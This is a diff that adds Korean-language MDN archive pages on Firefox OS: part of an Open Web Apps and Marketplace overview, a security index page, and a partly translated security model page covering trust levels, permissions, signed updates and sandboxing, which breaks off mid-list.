+ <li><span style="font-size: 14px; line-height: normal; font-family: 'Lucida Grande'; color: rgb(50, 51, 51);">응용 프로그램을 정의하는 </span><span style="font-size: 14px; line-height: normal; font-family: 'Lucida Grande'; color: rgb(101, 153, 204);"><a href="https://developer.mozilla.org/en-US/docs/Web/Apps/Manifest">OWA 매니패스트</a></span></li>
+ <li><span style="font-size: 14px; line-height: normal; font-family: 'Lucida Grande'; color: rgb(50, 51, 51);">앱과 연계된 </span><a href="https://developer.mozilla.org/en-US/docs/Web/Apps/JavaScript_API">OWA API 전체</a></li>
+ <li><span style="font-size: 14px; line-height: normal; font-family: 'Lucida Grande'; color: rgb(50, 51, 51);">전화, 위치 정보 등의 기능에 액세스 하는 <a href="https://wiki.mozilla.org/WebAPI">Web APIs</a>. </span><span style="font-size: 14px; line-height: normal; font-family: 'Lucida Grande'; color: rgb(50, 51, 51);">이슈처리 현황을 확인하려면 <a href="http://arewemobileyet.com/">arewemobileyet.com</a> </span><span style="font-size: 14px; line-height: normal; font-family: 'Lucida Grande'; color: rgb(50, 51, 51);">를 참조하십시오.</span></li>
+ <li><span style="font-size: 14px; line-height: normal; font-family: 'Lucida Grande'; color: rgb(50, 51, 51);">사용자 데이터와 연계하는 <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Persona">개인 인증 시스템 (Persona)</a></span></li>
+ <li><span style="font-size: 14px; line-height: normal; font-family: 'Lucida Grande'; color: rgb(50, 51, 51);">어플리케이션 내 과금 및 각 마켓 플레이스에서 앱의 구매를 쉽게하는  </span><span style="font-size: 14px; line-height: normal; font-family: 'Lucida Grande'; color: rgb(101, 153, 204);"><a href="https://wiki.mozilla.org/WebAPI/WebPayment">WebPayment API</a></span></li>
+ <li><span style="font-size: 14px; line-height: normal; font-family: 'Lucida Grande'; color: rgb(50, 51, 51);">모든 터미널에서 유료 앱을 검증하고 각 마켓 플레이스에서 앱을 판매 할 수 있도록 하는 <a href="https://wiki.mozilla.org/Apps/WebApplicationReceipt">OWA Receipts</a></span></li>
+</ul>
+<h3 id="Marketplace">Marketplace</h3>
+<h4 id="한번_구매하면_모든_곳에서_사용할_수_있습니다.">한번 구매하면 모든 곳에서 사용할 수 있습니다.</h4>
+<p>Mozilla 는 개발 초기부터 사용자가 한번 구입하면 사용자가 가진 모든 HTML5 지원 디바이스에서 실행할 수 있는 앱 시스템을 개발해왔습니다. Mozilla 는 곧 <a href="http://bits.blogs.nytimes.com/2012/09/07/a-firefox-smartphone-for-the-poor/">최초의 Firefox OS 폰을 발매</a> 할 예정이고 이 폰에서 구매한 앱들은 다른  디바이스에서도 실행할 수 있게 됩니다. <a href="https://marketplace.firefox.com/">Firefox Marketplace</a> 를 통해 앱을 구매하면 앱 시스템이 디바이스에 영수증을 설치합니다. <a href="https://wiki.mozilla.org/Apps/WebApplicationReceipt">영수증</a>은 JSON Web Token 으로 Marketplace 의 공개키와 영수증을 검증하는 서비스 URL 으로 연결하는 메타데이터가 담겨있습니다. 앱이 실행되면서 이 영수증을 검증할 수는 있지만 디바이스 내의 이 영수증이 Firefox Marketplace 에 묶이는 것은 아닙니다. 이 영수증은 구매 증명서가 암호화된 것 뿐입니다. 이 영수증 규격을 따르면 누구나 개방형 웹 앱을 판매할 수 있습니다. <strong>여러분이 앱을 구매하는 것은 곧 개방형 웹 앱 시스템을 지원하는 어느 디바이스에서든지 사용할 수 있게됨을 의미합니다.</strong></p>
+<p>Mozilla는 개방형 웹 앱을 모든 HTML5 지원 디바이스에서 구동시킬 수 있게 하는 인프라를 구축하고 있습니다. <a href="http://www.mozilla.org/en-US/firefox/mobile/features/">Android용 Firefox</a>에서는 앱을 설치하고 실행할 수 있습니다. (<a href="http://nightly.mozilla.org/">nightly</a> 빌드에서 지금 확인할 수 있습니다). 설치한 앱의 아이콘은 일반 Android 앱과 마찬가지로 홈 화면에 추가됩니다. 이미 Windows, Mac, or Linux 데스크탑 홤경에서 Firefox 를 사용해 웹앱을 설치하고 실행할 수 있습니다. (현재 <a href="http://nightly.mozilla.org/">nightly</a> 빌드에서 작동하고 있습니다). 지금은 몇몇 Firefox 버전에서만 지원하고 있지만, 나중에는 모든 주요 브라우저들이 일련의 표준으로서 개방형 웹 앱 시스템을 지원하도록 만들고자 합니다. Mozilla 는 초기부터 HTML5를 지원하는 모든 주요 브라우저에서 이런 생각을 구현하는 방법에 대해 고려해왔습니다. 이와 관련해 Firefox 외의 브라우저에서 앱 플랫폼을 지원하는 방법을 구상한 이 자바스크립트 <a href="https://apps.persona.org/include.js" style="font-size: 14px; line-height: inherit;">shim</a><span style="font-size: 14px; line-height: inherit;"> 을 참고하시기 바랍니다.</span></p>
+<p>향후 개방형 웹 시스템에는 설치된 앱을 여러 디바이스로 <a href="http://docs.services.mozilla.com/aitc/">동기화하는 기능</a>이 추가될 것입니다. 영수증은 디바이스끼리 이동시킬 수 있으므로 원한다면 직접 동기화할 수도 있습니다. 단정할 수는 없지만 개방형 웹 앱은 기존의 웹사이트들과 다르지 않기 때문에 무료로 제공되는 개방형 웹 앱은 어느 브라우저에서나 실행할 수 있을 것입니다. 그러나 일부 플랫폼에서만 구현된 새로운 <a href="https://wiki.mozilla.org/WebAPI/">모바일 전용 웹 API</a>를 사용했을 수도 있습니다.</p>
+<p>아래 동영상에서 개방형 마켓플레이스의 장점과 개방된  웹이 앱 검색과 가까워지는 과정에 대해 간단히 살펴볼 수 있습니다.</p>
+<p style="text-align: center;"><iframe frameborder="0" height="270" src="https://www.youtube.com/embed/QCH_ncCrZfE/?feature=player_detailpage" width="480"></iframe></p>
+<h3 id="WebPayment_API">WebPayment API</h3>
+<h4 id="앱_상거래">앱 상거래</h4>
+<p>iOS와 Android 등의 모바일 앱 플랫폼이 성공한 배경 중 하나는 이들이 모바일 결제를 통해 아주 쉽게 새로운 비즈니스 모델들을 창출할 수 있게 했기 때문입니다. 이런 비즈니스 모델들은 아직 발전단계임에도 이미 모바일에서의 상거래가 데스크탑 웹에서보다 더 자연스럽습니다. 특히 어쨌든 이미 휴대폰에서 접근중이라면 휴대전화 요금에 포함시켜 과금하는 것이 매우 편리합니다. 개방형 웹 앱 생태계는 Firefox OS 출시와 함께 <a href="https://wiki.mozilla.org/WebAPI/WebPayment" style="font-size: 14px; line-height: inherit;">WebPayment API</a>를 통해 <span style="font-size: 14px; line-height: inherit;">유료 앱 결제와 앱 내 결제를 지원할 것입니다. 상거래를 지원하는 것은 앱 플랫폼의 성장에 필수적입니다. <strong>제시된 결제 API를 사용할지는 완전한 <em>선택사항</em>입니다.</strong> Mozilla 는 모든 앱의 독자적인 앱 내 결제를 허용할 것입니다.</span></p>
+<h2 id="더_보기">더 보기</h2>
+<ul>
+ <li><a href="https://blog.mozilla.org/webdev/2012/09/14/apps-the-web-is-the-platform/">Apps: The Web Is The Platform</a>, by Kumar McMillan (the blog post from which lots of the content of this article is borrowed)</li>
+ <li><a href="https://plus.google.com/113127438179392830442/posts/fR3iiuN4kEF">See the Web platform succeed for applications</a>, by Paul Irish</li>
+</ul>
diff --git a/files/ko/archive/b2g_os/security/index.html b/files/ko/archive/b2g_os/security/index.html
new file mode 100644
index 0000000000..3441a62463
--- /dev/null
+++ b/files/ko/archive/b2g_os/security/index.html
@@ -0,0 +1,58 @@
+---
+title: 보안
+slug: Archive/B2G_OS/Security
+translation_of: Archive/B2G_OS/Security
+---
+<p>이 문서는 Firefox OS의 보안과 관련된 내용입니다. 이 내용은 어플리케이션 보안 뿐만 아닌 전반적인 보안에 대한 내용과 설치 과정이 어떻게 안전하게 유지되는지를 포함하고 있습니다.</p>
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h2 class="Documentation" id="Documentation" name="Documentation">Firefox OS  보안 관련 문서들</h2>
+    <dl>
+     <dt>
+      <a href="/Mozilla/Firefox_OS/Security/보안_모델">Firefox OS 보안 모델</a></dt>
+     <dd>
+      Firefox OS의 보안 모델에 관한 개요</dd>
+     <dt>
+      <a href="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security" title="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security">Application security in Firefox OS</a></dt>
+     <dd>
+      An overview of how applications are made secure on Firefox OS.</dd>
+     <dt>
+      <a href="/en-US/docs/Mozilla/Firefox_OS/Security/Installing_and_updating_applications" title="/en-US/docs/Mozilla/Firefox_OS/Security/Installing_and_updating_applications">Securely installing and updating applications</a></dt>
+     <dd>
+      How Firefox OS securely installs and updates applications.</dd>
+     <dt>
+      <a href="/en-US/docs/Mozilla/Firefox_OS/Security/Software_permissions" title="/en-US/docs/Mozilla/Firefox_OS/Security/Software_permissions">Software permissions in Firefox OS</a></dt>
+     <dd>
+      A guide to what types of software have permission to perform various tasks on Firefox OS.</dd>
+    </dl>
+    <p><span class="alllinks"><a href="/en-US/docs/tag/B2G" title="/en-US/docs/tag/B2G">View All...</a></span></p>
+   </td>
+   <td>
+    <h2 class="Community" id="Community" name="Community">커뮤니티로부터 도움 받기</h2>
+    <p>If you're working with Firefox OS, or developing applications you'd like to run on Firefox OS devices, there are community resources to help you!</p>
+    <ul>
+     <li>Boot to Gecko 프로젝트 포럼과 상담하세요: <ul>
+  <li><a href="https://lists.mozilla.org/listinfo/dev-b2g"> 메일링 리스트</a></li>
+
+
+  <li><a href="http://groups.google.com/group/mozilla.dev.b2g"> 뉴스그룹</a></li>
+  <li><a href="http://groups.google.com/group/mozilla.dev.b2g/feeds"> 웹 Feed</a></li>
+</ul></li>
+    </ul>
+    <ul>
+     <li>Ask your question on Mozilla's Boot to Gecko IRC channel: <a class="link-irc" href="irc://irc.mozilla.org/b2g" title="irc://irc.mozilla.org/b2g">#b2g</a></li>
+    </ul>
+    <p><span class="alllinks"><a class="external" href="http://www.catb.org/~esr/faqs/smart-questions.html" title="http://www.catb.org/~esr/faqs/smart-questions.html">Don't forget about the <em>netiquette</em>...</a></span></p>
+    <br>
+    <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">관련된 주제들</h2>
+    <ul>
+     <li><a href="/en-US/docs/Mobile" title="en-US/docs/Mobile">Mobile</a></li>
+     <li><a href="/en-US/docs/Security" title="/en-US/docs/Security">Security</a></li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p> </p>
diff --git a/files/ko/archive/b2g_os/security/보안_모델/index.html b/files/ko/archive/b2g_os/security/보안_모델/index.html
new file mode 100644
index 0000000000..75b129cd6f
--- /dev/null
+++ b/files/ko/archive/b2g_os/security/보안_모델/index.html
@@ -0,0 +1,253 @@
+---
+title: Firefox OS 보안 모델
+slug: Archive/B2G_OS/Security/보안_모델
+tags:
+  - B2G
+  - Firefox OS
+  - IPC
+  - IPDL
+  - Korean
+  - 가이드
+  - 모바일
+  - 보안
+translation_of: Archive/B2G_OS/Security/Security_model
+---
+<p>이 문서는 모바일 기기의 폴렛폼, 앱이나 데이터들을 지켜주는 Firefox OS 보안 프레임워크의 개요입니다. Mozilla는 Firefox OS에 여러가지 보안 문제들에 관한 최선의 보호를 제공해주는 매우 자세한, 일체화된, 다중 레이어의 보안 모델을 적용하였습니다.</p>
+<h1 id="폴렛폼_보안">폴렛폼 보안</h1>
+<p>Firefox OS 폴렛폼은 모든 단계에서 취약점들을 완화시켜주도록 디자인된 다중 레이어 보안 모델을 사용합니다. Front-line 대응조치들은 위협으로부터 세밀한 보호를 제공하는 심층 방어 전략과 같이 합쳐집니다.</p>
+<h2 id="보안_아키텍처">보안 아키텍처</h2>
+<p>Firefox OS는 웹 기반 어플리케이션들과 그 아래 존재하는 하드웨어를 연결시켜 줍니다. Firefox OS는 아래 나와있는 여러 단계들로 구성된 일체화된 기술적 스택입니다.</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5023/platform.png" style="width: 678px; height: 478px;"></p>
+<p>Mobile device는 FirefoxOS를 돌리고 있는 모바일 기기를 뜻합니다. Gonk는 리눅스 커널, 시스템 라이브러리들, 펌웨어 그리고 디바이스 드라이버들로 이루어저 있습니다. Gecko는 앱 실행을 위한 프레임워크를 제공하며 모바일 기기들이 사용하는 Web API들을 내재하고 있는 어플케이션 런타임 레이어입니다. Gaia는 사용자들의 경험을 제공하는 웹 앱들의 모임체입니다(앱들은 HTML5, CSS, JavaScript, images, media 등등으로 이루워저 있습니다).</p>
+<p>Gecko is the gatekeeper that enforces security policies designed to protect the mobile device from misuse. The Gecko layer acts as the intermediary between web apps (at the Gaia layer) and the phone. Gonk delivers features of the underlying mobile phone hardware directly to the Gecko layer. Web apps access mobile phone functionality only through the Web APIs, and only if Gecko allows the access request – there is no direct access, no “back door” into the phone. Gecko enforces permissions and prevents access to unauthorized requests.</p>
+<h2 id="안전한_시스템_개발">안전한 시스템 개발</h2>
+<p>Firefox OS comes installed on the smart phone. The original system image is created by a known, trusted source – usually the device OEM – that is responsible for assembling, building, testing, and digitally signing the distribution package.</p>
+<p>Security measures are used throughout the technology stack. File system privileges are enforced by Linux's access control lists (ACLs). System apps are installed on a volume that is read-only (except during updates, when it is temporarily read-write). Only areas containing user content may be read-write. Various components within the device hardware have built-in protections that are implemented by default as standard industry practice. Chipset manufacturers, for example, employ hardening techniques to reduce vulnerabilities. The core platform (Gecko and Gonk) is hardened to strengthen its defense against potential threats, and hardening features of the compiler are used where applicable. For further details see <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Security/Runtime_security" title="/en-US/docs/Mozilla/Firefox_OS/Security/Runtime_security">Runtime security</a>.</p>
+<h2 id="안전한_시스템_업데이트">안전한 시스템 업데이트</h2>
+<p>Subsequent upgrades and patches to the Firefox OS platform are deployed using a secure Mozilla process that ensures the ongoing integrity of the system image on the mobile phone. The update is created by a known, trusted source – usually the device OEM – that is responsible for assembling, building, testing, and digitally signing the update package.</p>
+<p>System updates can involve all or a portion of the Firefox OS stack. If changes to Gonk are included in the update, then FOTA (Firmware Over the Air) is the install process used. FOTA updates can also include any other part of the Firefox OS stack, including device management (FOTA, firmware / drivers), settings management (Firefox OS settings), security updates, Gaia, Gecko, and other patches.</p>
+<p>Updates that do not involve Gonk can be done using the Mozilla System Update Utility. Firefox OS uses the same update framework, processes, and Mozilla ARchive (MAR) format (used for update packages) as the Firefox Desktop product. For more information, see <a href="https://wiki.mozilla.org/Software_Update">https://wiki.mozilla.org/Software_Update</a>.</p>
+<p>A built-in update service – which may be provided by the OEM – on the mobile phone periodically checks for system updates. Once a system package becomes available and is detected by the update service, the user is prompted to confirm installation. Before updates are installed on the mobile device, the device storage is checked for sufficient space to apply the update, and the distribution is verified for:</p>
+<ul>
+ <li>update origin (verify the source location protocol:domain:port of the system update and manifest)</li>
+ <li>file integrity (SHA-256 hash check)</li>
+ <li>code signature (certificate check against a trusted root)</li>
+</ul>
+<p>The following security measures are used during the update process:</p>
+<ul>
+ <li>Mozilla recommends and expects that updates are fetched over an SSL connection.</li>
+ <li>Strong cryptographic verification is required before installing a firmware package.</li>
+ <li>The complete update must be downloaded in a specific and secure location before the update process begins.</li>
+ <li>The system must be in a secure state when the update process starts, with no Web apps running.</li>
+ <li>The keys must be stored in a secure location on the device.</li>
+</ul>
+<p>Rigorous checks are in place to ensure that the update is applied properly to the mobile phone.</p>
+<h1 id="앱_보안">앱 보안</h1>
+<p>Firefox OS uses a defense-in-depth security strategy to protect the mobile phone from intrusive or malicious applications. This strategy employs a variety of mechanisms, including implicit permission levels based on an app trust model, sandboxed execution at run time, API-only access to the underlying mobile phone hardware, a robust permissions model, and secure installation and update processes. For technical details, refer to: <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Security/Application_security" title="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security">Application security.</a></p>
+<p>In Firefox OS, all applications are web apps – programs written using HTML5, JavaScript, CSS, media, and other open Web technologies (pages running within the browser are not referred to as Web apps in this context). Because there are no binary ("native") applications installed by the user, all system access is mediated strictly through the Web APIs. Even access to the file system is only through Web APIs and a back-end SQLite database – there is no direct access from apps to files stored on the SD card.</p>
+<p>Firefox OS limits and enforces the scope of resources that can be accessed or used by an app, while also supporting a wide range of apps with varying permission levels. Mozilla implemented tight controls over what type of applications can access which APIs. For example, only certified apps (shipped with the phone) can have access to the Telephony API. The Dialer app has privileges to access the Telephony API in order to make phone calls, but not all certified apps can access this API. This prevents a scenario, for example, in which an arbitrary third-party app gets installed, dials a pay-per-use phone number (900 and 910), and racks up a large cell phone bill. However, other OEM apps might be selectively given access to the Telephony API. For example, an Operator might provide a systems management application that allows a customer to manage their account, including the ability to phone the Operator’s billing or support office directly.</p>
+<h2 id="신뢰되는_앱과_안되는_앱들">신뢰되는 앱과 안되는 앱들</h2>
+<p>Firefox OS는 앱들을 다음과 같은 종류들로 나눕니다.</p>
+<table>
+ <thead>
+  <tr>
+   <th style="width: 82px;">종류</th>
+   <th style="width: 102px;">
+    <p>신뢰 레벨</p>
+   </th>
+   <th style="width: 447px;">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td style="width: 82px;">인증됨(Certified)</td>
+   <td style="width: 102px;">매우 신뢰</td>
+   <td style="width: 447px;">
+    <p>System apps that have been approved by the Operator or OEM (due to risk of device corruption or risk to critical functionality). System apps and services only; not intended for third-party applications.<br>
+     This designation is reserved for just a small number of critical applications. Examples: SMS, Bluetooth, camera, system clock, telephony, and the default dialer (to ensure that emergency services are always accessible).</p>
+   </td>
+  </tr>
+  <tr>
+   <td style="width: 82px;">
+    <p>권한 받음(Privileged)</p>
+   </td>
+   <td style="width: 102px;">신뢰</td>
+   <td style="width: 447px;">
+    <p>Third-party apps that have been reviewed, approved, and digitally signed by an authorized Marketplace.</p>
+   </td>
+  </tr>
+  <tr>
+   <td style="width: 82px;">
+    <p>웹 (나머지 전부)</p>
+   </td>
+   <td style="width: 102px;">
+    <p>신뢰 안됨</p>
+   </td>
+   <td style="width: 447px;">
+    <p>Regular web content. Includes both installed apps (stored the mobile phone) and hosted apps (stored remotely, with only an app manifest stored on the mobile phone). The manifest for hosted apps can be obtained through a Marketplace.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p>An application’s trust level determines, in part, its ability to access mobile phone functionality.</p>
+<ul>
+ <li>Certified apps have permissions to most Web API operations.</li>
+ <li>Privileged apps have permissions to a subset of the Web API operations accessible to Certified apps.</li>
+ <li>Untrusted apps have permissions to a subset of the Web API operations accessible to Privileged apps. These are only those Web APIs that contain sufficient security mitigations to be exposed to untrusted web content.</li>
+</ul>
+<p>Some operations, such as network access, are assumed to be an implicit permission for all apps. In general, the more sensitive the operation (for example, dialing a phone number or accessing the Contacts list), the higher the app trust level required to execute it.</p>
+<h3 id="권한_최소화_원칙">권한 최소화 원칙</h3>
+<p>For web apps, the Firefox OS security framework follows the <em>principle of least permissions</em>: start with the absolute minimum permissions, then selectively grant additional privileges only when required and reasonable. By default, an app starts with very low permissions, which is comparable to untrusted web content. If the app makes Web API calls that require additional permissions, it must enumerate these additional permissions in its <em>manifest</em> (described later in this document). Gecko will consider granting Web API access to an application only if the applicable privileges are explicitly requested in its manifest. Gecko will grant the requested permission only if the <em>type </em>of the Web App (certified, trusted, or web) is sufficiently qualified for access.</p>
+<h3 id="권한_받은(Privileged)_앱들의_Marketplace_리뷰_과정">권한 받은(Privileged) 앱들의 Marketplace 리뷰 과정</h3>
+<p>In order for an app to become privileged, the app provider must submit it for consideration to an authorized Marketplace. The Marketplace subjects the app to a rigorous code review process: verifying its authenticity and integrity, ensuring that requested permissions are used for the purposes stated (in the permission rationale), verifying that the use of implicit permissions is appropriate, and validating that any interfaces between privileged app content and unprivileged external content have the appropriate mitigations to prevent elevation of privilege attacks. The Marketplace has the responsibility to ensure that the web app will not behave maliciously with the permissions that it is granted.</p>
+<p>After an app passes this review, it is approved for use, its app manifest is digitally signed by the Marketplace, and it is made available for mobile users to download. The signature ensures that, if the web store were somehow hacked, the hacker could not get away with installing arbitrary content or malicious code on users’ phones. Due to this vetting process, Firefox OS gives privileged apps obtained from a Marketplace a higher degree of trust than everyday (untrusted) web content.</p>
+<h2 id="패키지화된_앱들과_웹에_호스팅된_앱들">패키지화된 앱들과 웹에 호스팅된 앱들</h2>
+<p>Apps for Firefox OS can be either <em>packaged</em> (stored on the mobile phone) or <em>hosted</em> (stored on a remote web server, with just a manifest stored on the mobile phone). There are some differences in the way in which security is managed for each. Nonetheless, packaged and hosted apps are both subject to application sandboxing, which is described later in this document.</p>
+<h3 id="패키지화된_앱들(Packaged_Apps)">패키지화된 앱들(Packaged Apps)</h3>
+<p>A packaged app consists of a ZIP file containing application resources (HTML5, CSS, JavaScript, images, media), as well as a manifest that provides an explicit list of assets and their corresponding hashes. Certified and privileged apps must be packaged apps because the app manifest needs to be digitally signed. When a user obtains a packaged app, the ZIP file is downloaded onto the mobile phone, and the manifest is read from a known location inside the ZIP file. During the install process, app assets are verified and remain stored locally in the package. All explicit permissions are requested at runtime, showing the user the app's data usage intentions, and persisted by default.</p>
+<p>To refer to app resources in a packaged app, the URL begins with app: using the following format:</p>
+<p><code>app://<em>identifier</em>/<em>path_within_zipfile</em>/file.html</code></p>
+<p>where app:// represents the mount point for the ZIP file, and <em>identifier</em> is a UUID that is generated when the app is installed on the mobile phone. This mechanism ensures that resources referred to with an app: URL are contained in the ZIP file. The path within an app: is relative, so relative links to resources in the ZIP file are allowed.</p>
+<p>While packaged apps are primarily intended to be used for Certified or Privileged apps, regular web apps can also be packaged. However, they do not gain any increase in trust or permissions access simply because they are packaged.</p>
+<h3 id="웹에_호스트된_앱들(Hosted_Apps)">웹에 호스트된 앱들(Hosted Apps)</h3>
+<p>Hosted apps are located on a web server and loaded via HTTP. Only the app manifest is stored on the mobile phone. Everything else is stored remotely. Certain APIs are available only to privileged and certified apps, which requires the app to be packaged due to signing requirements. Therefore, a hosted app will not have access to any of the Web API operations that require privileged or certified app status.</p>
+<p>From a security point of view, hosted apps work very much like normal websites. A hosted app is loaded by invoking a hard-coded, fully-qualified URL that points to the startup page in the root directory of the app on that web server. Once a hosted app is loaded, the mobile phone links to pages using the same URLs that are used when browsing the web site.</p>
+<h2 id="앱_Manifest(App_Manifest)">앱 Manifest(App Manifest)</h2>
+<p>An Open Web App manifest contains information that a Web browser needs in order to interact with an app. A manifest is a JSON file with (at a minimum) a name and description for the app. For further details, refer to <a href="https://developer.mozilla.org/en-US/docs/Apps/FAQs/About_app_manifests" title="/en-US/docs/Apps/FAQs/About_app_manifests">FAQs about app manifests</a>.</p>
+<h3 id="Manifest_예제">Manifest 예제</h3>
+<p>다음의 예제는 간단한 설정이 되어있는 앱 Manifest(App Manifest)를 보여줍니다.</p>
+<pre class="brush:text">{
+  "name": "My App",
+  "description": "My elevator pitch goes here",
+  "launch_path": "/",
+  "icons": {
+    "128": "/img/icon-128.png"
+  },
+  "developer": {
+    "name": "Your name or organization",
+    "url": "http://your-homepage-here.org"
+  },
+  "default_locale": "en"
+}</pre>
+<h3 id="App_Manifest에서의_보안_설정">App Manifest에서의 보안 설정</h3>
+<p>아래 보안 항목들처럼 App Manifest는 여러가지 다른 항목을 포함할수 있습니다:</p>
+<table>
+ <thead>
+  <tr>
+   <th style="width: 152px;">
+    <p>항목</p>
+   </th>
+   <th style="width: 479px;">
+    <p>설명</p>
+   </th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td style="width: 152px;">
+    <p>permissions</p>
+   </td>
+   <td style="width: 479px;">
+    <p>Permissions required by the app. An app must list every Web API it intends to use that requires user permission. Most permissions make sense for privileged apps or certified apps, but not for hosted apps. Properties per API:</p>
+    <ul>
+     <li><strong>description</strong> - A string specifying the intent behind requesting use of this API. Required.</li>
+     <li><strong>access</strong> - A string specifying the type of access required for the permission. Implicit permissions are granted at install time. Required for only a few APIs. Accepted values: <strong>read</strong>, <strong>readwrite</strong>, <strong>readcreate</strong>, and <strong>createonly</strong>.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td style="width: 152px;">
+    <p>installs_allowed_from</p>
+   </td>
+   <td style="width: 479px;">
+    <p>Origin of the app. Array of origins (scheme+unique hostname) that are allowed to trigger installation of this app. Allows app providers to restrict installs from only an authorized Marketplace (such as <a href="https://marketplace.firefox.com/">https://marketplace.firefox.com/</a>).</p>
+   </td>
+  </tr>
+  <tr>
+   <td style="width: 152px;">
+    <p>csp</p>
+   </td>
+   <td style="width: 479px;">
+    <p>Content Security Policy (CSP). Applied to all pages loaded in the app. Used to harden the app against bugs that would allow an attacker to inject code into the app. If unspecified, privileged and certified apps have system-defined defaults. Syntax:<br>
+     <a href="https://developer.mozilla.org/en-US/docs/Apps/Manifest#csp">https://developer.mozilla.org/en-US/docs/Apps/Manifest#csp</a></p>
+    <p><em>Note that this directive can only increase the CSP applied. You cannot use it, for example, to reduce the CSP applied to a privileged App.</em></p>
+   </td>
+  </tr>
+  <tr>
+   <td style="width: 152px;">
+    <p>type</p>
+   </td>
+   <td style="width: 479px;">
+    <p>애플리케이션의 종류 (web, privileged, or certified).</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p>Firefox OS requires that the manifest be served with a specific mime-type ("application/x-web-app-manifest+json") and from the same fully-qualified host name (origin) from which the app is served. This restriction is relaxed when the manifest app (and thus the app manifest) is same-origin with the page that requested the app to be installed. This mechanism is used to ensure that it's not possible to trick a website into hosting an application manifest.</p>
+<h2 id="샌드박스화된_실행">샌드박스화된 실행</h2>
+<p>이 항목은 샌드박스화된 응용프로그램과 실행에 관해서 설명합니다.</p>
+<h3 id="응용프로그램_샌드박스">응용프로그램 샌드박스</h3>
+<p>The Firefox OS security framework uses sandboxing as a defense-in-depth strategy to mitigate risks and protect the mobile phone, platform, and data. Sandboxing is a way of putting boundaries and restrictions around an app during run-time execution. Each app runs in its own worker space and it has access only to the Web APIs and the data it is permitted to access, as well as the resources associated with that worker space (IndexedDB databases, cookies, offline storage, and so on). For details, see <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Security/Security_model">https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Security/Security_model</a>.</p>
+<p>The following figure provides an overview of this security model.</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5025/sandbox.png"></p>
+<p>By isolating each app, its impact is contained within its own worker space. It cannot interfere with anything (such as other apps or their data) outside of that worker space.</p>
+<h3 id="실행_샌드박스">실행 샌드박스</h3>
+<p>B2G (Gecko) runs in a highly-privileged system process that has access to hardware features in the mobile phone. At runtime, each app runs inside an execution environment that is a child process of the B2G system process. Each child process has a restricted set of OS privileges – for example, a child process cannot directly read or write arbitrary files on the file system. Privileged access is provided through Web APIs, which are mediated by the parent B2G process. The parent ensures that, when a child process requests a privileged API, it has the necessary permission to perform this action.</p>
+<p>Apps communicate only with the B2G core process, not with other processes or apps. Apps do not run independently of B2G, nor can apps open each other. The only “communication” between apps is indirect (for example, when a listener process detects an event generated by some other process), and is mediated through the B2G process.</p>
+<h3 id="하드웨어_접근을_Web_API만으로_통할수_있게_제약">하드웨어 접근을 Web API만으로 통할수 있게 제약</h3>
+<p>Web apps have only one entry point to access mobile phone functionality: the Firefox OS Web APIs, which are implemented in Gecko. Gecko provides the sole gateway to the mobile device and underlying services. The only way to access device hardware functionality is to make a Web API call. There is no “native” API and there are no other routes (no “back doors”) to bypass this mechanism and interact directly with the hardware or penetrate into low-level software layer.</p>
+<h1 id="보안_인프라">보안 인프라</h1>
+<p>The following figure shows the components of this security framework:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5027/securityframework.png" style="width: 979px; height: 591px;"></p>
+<ul>
+ <li><strong>Permission Manager</strong>: Gateway to accessing functionality in the Web API, which is the only access to the underlying hardware.</li>
+ <li><strong>Access Control List</strong>: Matrix of roles and permissions required to access Web API functionality.</li>
+ <li><strong>Credential Validation</strong>: Authentication of apps/users.</li>
+ <li><strong>Permissions Store</strong>: Set of privileges required to access Web API functionality.</li>
+</ul>
+<h2 id="관리(Management)와_시행(Enforcement)를_위한_퍼미션">관리(Management)와 시행(Enforcement)를 위한 퍼미션</h2>
+<p>Firefox OS security is designed to verify and enforce the permissions granted to web apps.<br>
+ The system grants a particular permission to an app only if the content requests it, and only if it has the appropriate permissions requested in the app’s manifest. Some permissions require further authorization from the user, who is prompted to grant permission (as in the case of an app requesting access to the user’s current location). This app-centric framework provides more granular control over permissions than traditional role-centric approaches (in which individual roles are each assigned a set of permissions).</p>
+<p>A given Web API has a set of actions and listeners. Each Web API has a required level of permission. Every time a Web API is called, Gecko checks permission requirements (role lookup) based on:</p>
+<ul>
+ <li>permissions associated with calling app (as specified in the manifest and based on the app type)</li>
+ <li>permissions required to execute the requested operation (Web API call)</li>
+</ul>
+<p>If the request does not meet the permission criteria, then Gecko rejects the request. For example, untrusted apps cannot execute any Web APIs that are reserved for trusted apps.</p>
+<h2 id="유저에게_권한에_대해서_물어보기">유저에게 권한에 대해서 물어보기</h2>
+<p>In addition to permissions that are implicitly associated with the web apps, certain operations require explicit permission from the user before they can be executed. For these operations, web apps are required to specify, in their manifest, their justification for requiring this permission. This <em>data usage intention</em> informs users about what the web app intends to do with this data if permission is granted, as well as any risk involved. This allows users to make informed decisions and maintain control over their data.</p>
+<h2 id="보안_앱_업데이트_과정">보안 앱 업데이트 과정</h2>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5029/updateprocess.png" style="width: 979px; height: 102px;"></p>
+<p>For app upgrades and patches to a <em>privileged</em> app, app providers submit the updated package to an authorized Marketplace, where it is reviewed and, if approved, signed and made available to users. On Firefox OS devices, an App Update Utility periodically checks for app updates. If an update is available, then the user is asked whether they want to install it. Before a update is installed on the mobile device, the package is verified for:</p>
+<ul>
+ <li>update origin (verify the source location protocol:domain:port of the update and manifest)</li>
+ <li>file integrity (SHA-256 hash check)</li>
+ <li>code signature (certificate check against a trusted root)</li>
